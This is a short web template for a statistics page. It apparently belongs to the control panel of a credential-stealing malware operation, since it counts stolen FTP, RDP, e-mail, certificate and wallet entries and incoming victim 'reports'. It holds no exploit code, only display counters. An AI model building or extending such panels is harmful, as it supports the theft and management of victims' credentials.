| Statistics |
| Server Time | {$server_time} |
| FTP/SFTP List | {$total_ftp_items_count+$total_ssh_items_count} |
{if $enable_http_mode && ($show_http_to_users || $priv_is_admin)}
| HTTP/HTTPS List | {$total_http_items_count} |
{/if}
{if $enable_email_mode && ($show_email_to_users || $priv_is_admin)}
| E-mail Passwords List | {$total_email_items_count} |
{/if}
{if $show_other_to_users || $priv_is_admin}
| Certificates List | {$total_cert_items_count} |
{/if}
{if $show_other_to_users || $priv_is_admin}
| Purses List | {$total_wallet_items_count} |
{/if}
| RDP List | {$total_rdp_items_count} |
| Unique Reports | {$total_reports_count} |
| Duplicates Received | {$report_duplicates} |
| Reports Not Processed | {$total_nonparsed_reports} |
| Events in System Logs | {$log_events_count} |
| Total Size of Reports in the Database | {$total_reports_size|file_size} |
| Total Database Size | {$db_size|file_size} |
{if $enable_http_mode && ($show_http_to_users || $priv_is_admin)}
| Added FTP (HTTP) - Last 24 Hours | {$new_ftp_last_24_hours} ({$new_http_last_24_hours}) |
| Added FTP (HTTP) - Last Hour | {$new_ftp_last_hour} ({$new_http_last_hour}) |
| Added FTP (HTTP) - Last 10 Minutes | {$new_ftp_last_10_minutes} ({$new_http_last_10_minutes}) |
{else}
| Added FTP in the Last 24 Hours | {$new_ftp_last_24_hours} |
| Added FTP in the Last Hour | {$new_ftp_last_hour} |
| Added FTP in the Last 10 Minutes | {$new_ftp_last_10_minutes} |
{/if}
| Added Reports in the Last 24 Hours | {$new_reports_last_24_hours} |
| Added Reports in the Last Hour | {$new_reports_last_hour} |
| Added Reports in the Last 10 Minutes | {$new_reports_last_10_minutes} |